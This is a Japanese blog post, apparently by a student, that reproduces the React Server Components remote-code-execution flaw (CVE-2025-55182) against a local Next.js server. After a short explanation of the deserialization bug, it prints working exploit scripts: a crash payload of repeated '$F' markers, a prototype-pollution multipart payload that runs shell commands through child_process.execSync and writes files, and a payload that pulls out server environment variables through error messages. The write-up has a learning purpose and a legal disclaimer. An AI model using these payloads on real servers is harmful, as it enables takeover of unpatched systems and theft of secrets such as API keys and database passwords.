ăŻăăă«
ćæ”·éă«äœăæ ć ±çł»ăźćŠçăźæè€èłąæă§ăă
ä»ćăŻæèżè©±éĄăźReact Server ComponentsăźèćŒ±æ§ă«ă€ăăŠćźéă«æ»æăăăŠă©ăźăăăȘèćŒ±æ§ăȘăźăăŸăšăăŠăăăăăšæăăŸăă
èćŒ±æ§ăźăăNextjsăźăăŒăžă§ăłă§Webă”ăŒăăç«ăŠăăăŒă«ă«ç°ćąć ă§ăźæ€èšŒă§ăă
ä»ćçŽčä»ăăć
ćźčăŻă»ăă„ăȘăăŁă«éąăăćŠçżăźăăăźăăźă§ăă
知çäžă«ăăăăŒă«ă«ç°ćąä»„ć€ă§ăźćźèĄăăăăłèš±ćŻăźăȘăă·ăčăă ăžăźæ»æăŻéæłă§ăăæȘçšăŻćłçŠă§ă
CVE-2025-55182ïŒReact2ShellïŒăšăŻ
React Server ComponentsïŒRSCïŒă«ăăăèȘ蚌äžèŠăźăȘăąăŒăăłăŒăćźèĄïŒRCEïŒă«éąăăèćŒ±æ§ă§ăă
ă€ăŸăăæ»æè ă现淄ăăăȘăŻăšăčăăéăăăšă§ăă”ăŒăăŒäžă§ä»»æăźăłăŒăăćźèĄăăăŠăăŸăăšăăăăšă§ăă
ăăźăăăȘæ»æăŻăèȘ蚌ăăăŠăăȘăă»çčć„ăȘæš©éăȘăă»ăŠăŒă¶ăŒăźæäœăȘăăă§ćŻèœăăšăăéćžžă«æ·±ć»ăȘăăźă§ăă
CVSSăčăłăąăŻ10.0ăšăȘăŁăŠăăŠæé«ăčăłăąă§ăă
ć ŹćŒă”ă€ăïŒ
ă©ăźç°ćąă§ćœ±éżăăăă
-
App Router + React Server Componentsăć©çšăăŠăă
-
ăăŒăžă§ăłăć€ăïŒæȘăăăăźăăź
Pages Router ăäœżăŁăŠăăăăRSCăäœżăŁăŠăăȘăæ§æă§ăŻăăźèćŒ±æ§ăźćœ±éżăćăăȘăă§ă
ćŻŸç
ăăăé©çšæžăżăźăăŒăžă§ăłă«ăąăăăăŒă
ćć
RSCă§äœżçšăăŠăăFlightăăăăłă«ăźăă·ăȘăąă©ă€ășïŒćŸ©ć ïŒćŠçă«ç©Žăăăăăăăćć ă§ä»ćăźèćŒ±æ§ă«ăȘăŁăŠăăŸăă
RSCăźć éšă§ăŻçčć„ăȘćœąćŒăźJSONăźăăăȘăăŒăżăă”ăŒăăŒćŽă§ăă·ăȘăąă©ă€ășăăŠćŠçăăŠăăŸăă
æŹæ„ăŻReactăçæăăćźć
šăȘăăŒăżă ăăćăćăćæăȘăźă§ăăă
ćźéă«ăŻăć€éšăă现淄ăăăăȘăŻăšăčăă§ăăă·ăȘăąă©ă€ășăăăŠăăŸăăšăăæŹ é„ăăăăŸăăă
ć ·äœçă«ăŻăæ»æè ăé俥ăăJSONăă€ăăŒăă«ć«ăŸăă __proto__ ă then ăšăăŁăăăăăăŁăăă”ăŒăăŒćŽă§ăźăă·ăȘăąă©ă€ășæă«äžæŁă«è§ŁéăăăŸăă
ăăă«ăăăæćłăăȘăăŹăžă§ăăăă§ăŒăłăæ§çŻăăăæç”çă« child_process.execSync ăȘă©ăźć±éșăȘéąæ°ăćŒăłćșăăăŠăăŸăăŸăă
æ€èšŒ
ăăăăăŻćźéă«èĄăŁăæ€èšŒăăŸăšăăŠăăăŸăă
ä»ćæ€èšŒăèĄăŁăăȘăăžăăȘă§ăă
ăăźăȘăăžăăȘăćèă«è§ŁèȘŹăăŸăă
1. ç°ćąéçș
ăŸăăŻèćŒ±æ§ăźăăăăŒăžă§ăłïŒNextjs 16.0.1ïŒă§Webă”ăŒăăæ§çŻăăŸăăă
æŽă«æ»æçšăčăŻăȘăăăźćźèĄç°ćąăçšæăăŸăăă
Webă”ăŒăăźăăăăăŒăžă«ä»„äžăźăăă«ServerActionsăćźèĄăăćźèŁ ăèĄăăŸăă
ActionsăćŒăłćșăăăéă«ććŸă§ăăIDăććŸăăăăătestAction ( ) ăźäžă«ăŻçčă«ćŠçăŻćż èŠăȘăă§ăă
export default function Home() {
async function testAction(arg: any) {
"use server";
// çç„
}
return (
<div>
<main>Webă”ăŒă</main>
<form action={testAction}>
<button>Submit</button>
</form>
</div>
);
}
2. Actions IDăźććŸ
Server Actions ăć€éšăăćŒăłćșăăăă«ćż èŠăȘèȘ蚌IDăććŸăăŸăăă
-
Webă”ăŒăè”·ććŸăăă©ăŠă¶ă§ http://localhost:3000/ ă«ăąăŻă»ăčăăŸă
-
éçșè ăăŒă«ăéăăNetworkăżăăéžæăăŸă
-
WebăăăłăăšăłăäžăźSubmităăżăłăæŒăăŸă
-
Networkăżăă«èĄšç€șăăă"localhost"ăéžæăăăăăŒăăăNext-Actionăźć€ăăłăăŒăăŸă
-
ćźèĄăăăæ€èšŒăčăŻăȘăăïŒäŸ: readenv.ts ăȘă©ïŒăéăăNext-Actionăźć€ăć çšăłăăŒăăăăźă«æžăæăăŸă
3. æ»æăźæ€èšŒ
ăăăăăŻèȘćă§ç«ăŠăăăŒă«ă«ă”ăŒăă«ćŻŸăăŠćźéă«æ»æăèĄăŁăŠăăăŸăă
a. ćŻçšæ§ăźäŸ”ćźłæ€èšŒ
ăŸăăŻă”ăŒăăŒăèćŒ±ă§ăăăïŒć€éšăăăźäžæŁć „ćă§èœăĄăăïŒăçąșèȘăăŸăăă
const payloadArray = Array(200).fill("$F");
const body = JSON.stringify(payloadArray);
try {
const res = await axios.post("http://localhost:3000", body, {
headers: {
"Content-Type": "text/plain",
"Next-Action": "", // ć
çšććŸăăIDă代ć
„
},
});
ćźæœć ćźč:
-
bun run sendăćźèĄ - Flight ăăăăłă«ăźăăŒă«ăŒ $F ă性éă«ć«ăă äžæŁăȘăă€ăăŒăăé俥
ç”æ:
ă”ăŒăăŒăăă»ăčăăŻă©ăă·ă„ïŒ500ăšă©ăŒ / Connection closedïŒ
蚌æăăăăăš:
DoSïŒă”ăŒăăčæćŠïŒèćŒ±æ§ăććšăăă”ăŒăăčăćŒ·ć¶ćæąăăăăăăăš
b. ăłăăłăă€ăłăžă§ăŻă·ă§ăłïŒăąăăȘăźè”·ć
ă”ăŒăăŒć
éšă§ OS ăłăăłăăćźèĄă§ăăăæ€èšŒăăŸăă
é»ćăè”·ćăăă
// çç„
// const COMMAND = "calc"; // Windowsăźć Žć
const COMMAND = "open -a Calculator"; // macOSăźć Žć
const TARGET_URL = "http://localhost:3000";
const BOUNDARY = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad";
const payloadJson = JSON.stringify({
then: "$1:__proto__:then",
status: "resolved_model",
reason: -1,
value: '{"then":"$B1337"}',
_response: {
_prefix: `process.mainModule.require('child_process').execSync('${COMMAND}');`,
_formData: {
get: "$1:constructor:constructor",
},
},
});
const body = [
`--${BOUNDARY}`,
'Content-Disposition: form-data; name="0"',
"",
payloadJson,
`--${BOUNDARY}`,
'Content-Disposition: form-data; name="1"',
"",
'"$@0"',
`--${BOUNDARY}--`,
"",
].join("\r\n");
try {
const res = await fetch(TARGET_URL, {
method: "POST",
headers: {
Host: "localhost:3000",
"User-Agent":
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
"Next-Action": NEXT_ACTION_ID,
"Content-Type": `multipart/form-data; boundary=${BOUNDARY}`,
},
body: body,
});
// çç„
}
calculator();
ćźæœć
ćźč:
bun run calculatorăćźèĄ
ăŹăžă§ăăăă§ăŒăłăæ§çŻăăNode.js ăź child_process.execSync ç”ç±ă§ OS ăłăăłăăæłšć
„
ç”æ:
Windows/Macç°ćąă§é»ćăè”·ć
蚌æăăăăăš:
RCEèćŒ±æ§ăććšăăă”ăŒăăŒăźć¶ćŸĄæš©ăć„Șăăăăš
c. ăăĄă€ă«æžă蟌ăż
OS ăă·ă§ă«ăźéăïŒăŻă©ăŒăćéĄăȘă©ïŒă«äŸćăăȘăăăăçąșćźăȘæ»æææłăæ€èšŒăăŸăăă
ć
çšăźăȘăŻăšăčăăźCOMMANDéšćă〿Žăăă ăă§ćźèĄćŻèœă§ăă
// webă”ăŒăćŽă«ăăĄă€ă«ăçæăăă
const DATA = "This file was generated by the attacker server.";
const COMMAND = `echo "${DATA}" > public/test.txt`;
ćźæœć
ćźč:
bun run writeFileăćźèĄă
echoïŒăłăăłăïŒă·ă§ă«ăłăăłăćŒăłćșăăă€ăăŒăăé俥
ç”æ:
publicăăŁăŹăŻăăȘă«test.txtăçæăăăă
蚌æăăăăăš:
OSăłăăłăă€ăłăžă§ăŻă·ă§ăłăć©çšăăŠăăĄă€ă«ăäœæăȘă©ăèĄăăïŒăăăŻăăąèšçœźăźăȘăčăŻïŒ
d. ç°ćąć€æ°ăźć„Șć
ă”ăŒăăŒć ăźæ©ćŻæ ć ±ăć€éšă«æăĄćșăăăæ€èšŒăăŸăăă
ăšă©ăŒăăŒăčăźæ ć ±æăĄćșăă§ć€ăć„ȘćăăŠăăăŸăă
ïŒ äžèŠăȘăłăŒăăŻçç„ăăŠăăŸăă
// çç„
const JS_PAYLOAD = `
const env = JSON.stringify(process.env, null, 2);
throw new Error('/// DATA START /// ' + env + ' /// DATA END ///');
`;
// æčèĄăăčăăŒăčă«çœźæăăŠ1èĄă«ăă
const minifiedPayload = JS_PAYLOAD.replace(/\n/g, " ");
const TARGET_URL = "http://localhost:3000";
const BOUNDARY = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad";
const payloadJson = JSON.stringify({
then: "$1:__proto__:then",
status: "resolved_model",
reason: -1,
value: '{"then":"$B1337"}',
_response: {
_formData: {
get: "$1:constructor:constructor",
},
_prefix: minifiedPayload,
},
});
// çç„
try {
// çç„
if (res.status === 500) {
// ćă蟌ăă ăăŒă«ăŒăæąă
const match = text.match(/DATA START \/\/\/ (.*?) \/\/\/ DATA END/s);
if (match && match[1]) {
console.log("\năsuccessăç°ćąć€æ°ăć„ȘćăăŸăă:\n");
try {
const envJson = JSON.parse(match[1].replace(/\\n/g, "\\n"));
console.log(envJson);
} catch {
console.log(match[1]);
}
} else {
console.log(
"[-] ăăŒăżæœćșăăŒă«ăŒăèŠă€ăăăŸăăăăŹăčăăłăčć
šäœăèĄšç€șăăŸă:"
);
console.log(text.substring(0, 1000));
}
} else {
console.log(`[*] Response: ${text.substring(0, 500)}`);
}
} catch (err: any) {
console.error(`[!] Error: ${err.message}`);
}
}
readenv();
æ»æăźăăăŒ
ăłăŒăć ă§èĄăăăŠăăćŠçăźæ”ăăŻä»„äžăźăšăăă§ăă
- ăăŒăżăźććŸ: const env = JSON.stringify(process.env ...) ăŸăăă”ăŒăăŒć éšă§ăăŁăăç°ćąć€æ°ăèȘăżćăăŸă
- ăšă©ăŒăžăźćă蟌ăż: throw new Error('/// DATA START /// ' + env + ...) ććŸăăăăŒăżăăšă©ăŒăĄăă»ăŒăžăźäžéšăšăăŠćă蟌ăżăćŒ·ć¶çă«äŸć€ăšă©ăŒăçșçăăăŸă
- ă”ăŒăăŒăźæć: Next.js ăŻăšă©ăŒăæ€ćșăăăšă©ăŒăĄăă»ăŒăžïŒććŸăăăăŒăżïŒăć«ăă HTTP 500 ăŹăčăăłăč ăçæăăŠé俥ăăŸă
- ăăŒăżăźćć: æ»æè ăźăčăŻăȘăăăŻăèżăŁăŠăă 500 ăšă©ăŒăźæç« ăźäžăăăçźć°ïŒ/// DATA START ///ïŒă§ćČăŸăăéšćăæœćșăăŠèĄšç€șăăŸă
ćźæœć
ćźč:
bun run readenvăćźèĄă
process.envïŒç°ćąć€æ°ïŒăźäžèș«ăććŸăăăăă throw new Error(...) ă§ăšă©ăŒăĄăă»ăŒăžăšăăŠæăăăăăă€ăăŒăăé俥
ç”æ:
HTTPăŹăčăăłăčïŒ500ăšă©ăŒïŒăźäžă«ăă”ăŒăăŒăźç°ćąć€æ°ïŒAPIăăŒăăăŒăžă§ăłæ
ć ±ăȘă©ïŒăć«ăŸăăŠèżăŁăŠăăă
蚌æăăăăăš:
AWSăăŒăDBăăčăŻăŒăăȘă©ăźæ©ćŻæ
ć ±ăźçȘćăćŻèœă§ăăăăšă
ăŸăšă
ç°Ąæçă«ă§ăăRSCăźèćŒ±æ§ăæȘçšăăæ»æăăăŒă«ă«ă§æ€èšŒăăŠăżăŸăăă
ăŸă ăŸă ććŒ·äžăȘăźă§ć ćźčă«èȘ€ăăăăă°ăăČæăăŠäžăăă
ćèæçź
Comments
Let's comment your feelings that are more than good